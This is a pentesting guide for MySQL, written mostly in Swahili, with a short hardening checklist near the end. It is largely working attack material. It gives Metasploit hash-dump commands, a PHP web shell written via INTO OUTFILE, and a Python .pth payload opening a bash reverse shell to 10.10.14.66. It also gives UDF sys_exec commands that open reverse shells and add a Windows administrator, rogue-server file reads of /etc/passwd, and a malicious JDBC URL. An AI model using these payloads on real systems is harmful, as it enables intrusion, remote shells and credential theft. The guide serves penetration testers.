3306 - Pentesting Mysql

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Taarifa za Msingi

MySQL inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa uhusiano wa chanzo wazi (RDBMS) ambao upatikana bure. Inafanya kazi kwenye Lugha ya Maswali Iliyoandikwa (SQL), ikiruhusu usimamizi na uendeshaji wa hifadhidata.

Bandari ya Kawaida: 3306

3306/tcp open  mysql

Connect

Local

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Mbali

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

Baadhi ya hatua za kuhesabu zinahitaji akreditif halali

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Andika data yoyote ya binary

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Amri za MySQL

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Uainishaji wa Ruhusa za MySQL

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE → Python .pth RCE (mifumo maalum ya usanidi)

Kwa kutumia primitive ya jadi INTO OUTFILE, inawezekana kupata utendaji wa msimbo wa kiholela kwenye malengo ambayo baadaye yanatekeleza Python scripts.

1. Tumia INTO OUTFILE kuacha faili maalum .pth ndani ya saraka yoyote inayopakuliwa kiotomatiki na site.py (mfano .../lib/python3.10/site-packages/).
2. Faili ya .pth inaweza kuwa na mstari mmoja unaoanza na import ikifuatiwa na msimbo wa Python wa kiholela ambao utaanzishwa kila wakati mfasiri anapoanza.
3. Wakati mfasiri anatekelezwa kwa njia isiyo ya moja kwa moja na script ya CGI (kwa mfano /cgi-bin/ml-draw.py yenye shebang #!/bin/python), mzigo unatekelezwa kwa ruhusa sawa na mchakato wa seva ya wavuti (FortiWeb ilikimbia kama root → RCE kamili kabla ya uthibitishaji).

Mfano wa mzigo wa .pth (mstari mmoja, hakuna nafasi zinazoweza kujumuishwa katika mzigo wa mwisho wa SQL, hivyo hex/UNHEX() au kuunganisha nyuzi kunaweza kuhitajika):

import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

Mfano wa kuunda faili kupitia UNION query (herufi za nafasi zimebadilishwa na /**/ ili kupita kipitisha cha sscanf("%128s") cha nafasi na kuweka jumla ya urefu ≤128 bytes):

'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

Important limitations & bypasses:

• INTO OUTFILE haiwezi kufuta faili zilizopo; chagua jina jipya la faili.
• Njia ya faili inatatuliwa kuhusiana na CWD ya MySQL, hivyo kuongeza ../../ husaidia kupunguza njia na kupita vizuizi vya njia kamili.
• Ikiwa ingizo la mshambuliaji linachukuliwa na %128s (au sawa) nafasi yoyote itakata payload; tumia mfuatano wa maoni ya MySQL /**/ au /*!*/ kubadilisha nafasi.
• Mtumiaji wa MySQL anayekimbia ombi anahitaji ruhusa ya FILE, lakini katika vifaa vingi (mfano, FortiWeb) huduma inakimbia kama root, ikitoa ufikiaji wa kuandika karibu kila mahali.

Baada ya kuacha .pth, omba tu CGI yoyote inayoshughulikiwa na mfasiri wa python ili kupata utekelezaji wa msimbo:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Mchakato wa Python utaingiza .pth yenye uharibifu kiotomatiki na kutekeleza mzigo wa shell.

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL kusoma faili kwa hiari na mteja

Kwa kweli, unapojaribu kuchukua data za ndani kwenye jedwali yaliyomo kwenye faili, seva ya MySQL au MariaDB inamwomba mteja aisome na kutuma yaliyomo. Basi, ikiwa unaweza kubadilisha mteja wa mysql kuungana na seva yako ya MySQL, unaweza kusoma faili za hiari.
Tafadhali zingatia kwamba hii ni tabia inayotumika:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Kumbuka neno "local")
Kwa sababu bila "local" unaweza kupata:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
Katika karatasi hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kulipanua hadi RCE: https://paper.seebug.org/1113/
Hapa unaweza kupata muhtasari wa shambulio: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mysql User

Itakuwa ya kuvutia sana ikiwa mysql inafanya kazi kama root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Dangerous Settings of mysqld.cnf

In the configuration of MySQL services, various settings are employed to define its operation and security measures:

• The user setting is utilized for designating the user under which the MySQL service will be executed.
• password is applied for establishing the password associated with the MySQL user.
• admin_address specifies the IP address that listens for TCP/IP connections on the administrative network interface.
• The debug variable is indicative of the present debugging configurations, including sensitive information within logs.
• sql_warnings manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
• With secure_file_priv, the scope of data import and export operations is constrained to enhance security.

Privilege escalation

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

Ikiwa mysql server inafanya kazi kama root (au mtumiaji mwingine mwenye mamlaka zaidi) unaweza kuifanya itekeleze amri. Kwa hiyo, unahitaji kutumia user defined functions. Na ili kuunda user defined unahitaji library kwa ajili ya OS inayofanya kazi mysql.

Library mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya locate "*lib_mysqludf_sys*". Faili za .so ni linux libraries na .dll ni za Windows, chagua ile unayohitaji.

Ikiwa huna hizo libraries, unaweza ama kutafuta au kupakua hii linux C code na kuikamilisha ndani ya mashine ya linux yenye udhaifu:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na ufuate hatua zifuatazo:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extracting MySQL credentials from files

Inside /etc/mysql/debian.cnf you can find the nywasi wa maandiko of the user debian-sys-maint

cat /etc/mysql/debian.cnf

Unaweza kutumia hizi sifa kuingia kwenye hifadhidata ya mysql.

Ndani ya faili: /var/lib/mysql/mysql/user.MYD unaweza kupata hash zote za watumiaji wa MySQL (wale ambao unaweza kutoa kutoka mysql.user ndani ya hifadhidata).

Unaweza kuzitoa kwa kufanya:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Kuanzisha uandishi wa kumbukumbu

Unaweza kuanzisha uandishi wa kumbukumbu wa maswali ya mysql ndani ya /etc/mysql/my.cnf kwa kufungua mistari ifuatayo:

Faili muhimu

Faili za Usanidi

• windows *
• config.ini
• my.ini
• windows\my.ini
• winnt\my.ini
• <InstDir>/mysql/data/
• unix
• my.cnf
• /etc/my.cnf
• /etc/mysql/my.cnf
• /var/lib/mysql/my.cnf
• ~/.my.cnf
• /etc/my.cnf
• Historia ya Amri
• ~/.mysql.history
• Faili za Kumbukumbu
• connections.log
• update.log
• common.log

Hifadhidata/Tafiti za MySQL za Kawaida

Amri za Kiotomatiki za HackTricks

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 Highlights (new)

JDBC propertiesTransform deserialization (CVE-2023-21971)

Kuanzia Connector/J <= 8.0.32 mshambuliaji ambaye anaweza kuathiri JDBC URL (kwa mfano katika programu za upande wa tatu zinazohitaji mfuatano wa muunganisho) anaweza kuomba madarasa yasiyo na mipaka kupakiwa upande wa mteja kupitia parameter ya propertiesTransform. Ikiwa gadget iliyopo kwenye njia ya darasa inaweza kupakiwa, hii inasababisha utendaji wa msimbo wa mbali katika muktadha wa mteja wa JDBC (kabla ya uthibitisho, kwa sababu hakuna akidi halali zinazohitajika). PoC ndogo inaonekana kama:

jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Kukimbia Evil.class kunaweza kuwa rahisi kama kuifanya iwe kwenye class-path ya programu iliyo hatarini au kuacha seva ya MySQL isiyo na adabu itume kitu kilichosajiliwa kwa njia mbaya. Tatizo lilitatuliwa katika Connector/J 8.0.33 – sasisha dereva au weka wazi propertiesTransform kwenye orodha ya ruhusa. (Tazama andiko la Snyk kwa maelezo)

Mashambulizi ya seva ya MySQL isiyo na adabu / bandia dhidi ya wateja wa JDBC

Zana kadhaa za chanzo wazi zinafanya kazi ya sehemu ya itifaki ya MySQL ili kushambulia wateja wa JDBC wanaounganisha nje:

• mysql-fake-server (Java, inasaidia kusoma faili na mashambulizi ya deserialization)
• rogue_mysql_server (Python, uwezo sawa)

Njia za kawaida za shambulio:

1. Programu ya mwathirika inapo load mysql-connector-j na allowLoadLocalInfile=true au autoDeserialize=true.
2. Mshambuliaji anadhibiti DNS / kuingia kwa mwenyeji ili jina la mwenyeji wa DB liweze kutatua kwenye mashine chini ya udhibiti wao.
3. Seva mbaya inajibu kwa pakiti zilizoundwa ambazo zinaanzisha ama LOCAL INFILE kusoma faili bila mpangilio au deserialization ya Java → RCE.

Mfano wa mstari mmoja kuanzisha seva bandia (Java):

java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

Kisha elekeza programu ya mwathirika kwa jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true na usome /etc/passwd kwa kuandika jina la faili kama base64 katika uwanja wa username (fileread_/etc/passwd → base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).

Kufungua caching_sha2_password hashes

MySQL ≥ 8.0 huhifadhi hash za nywila kama $mysql-sha2$ (SHA-256). Hashcat (mode 21100) na John-the-Ripper (--format=mysql-sha2) zinasaidia kufungua kwa mbali tangu 2023. Dump column ya authentication_string na uiingize moja kwa moja:

# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Orodha ya kuimarisha (2025)

• Weka LOCAL_INFILE=0 na --secure-file-priv=/var/empty kuua sehemu nyingi za kusoma/kandika faili.
• Ondoa ruhusa ya FILE kutoka kwa akaunti za programu.
• Kwenye Connector/J weka allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (bila kitu).
• Zima nyongeza zisizotumika za uthibitishaji na hitaji TLS (require_secure_transport = ON).
• Fuata kwa CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL na matamko ya ghafla ya SET GLOBAL.

Marejeleo

• Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)

• Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)

• mysql-fake-server – Rogue MySQL server for JDBC client attacks

• Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)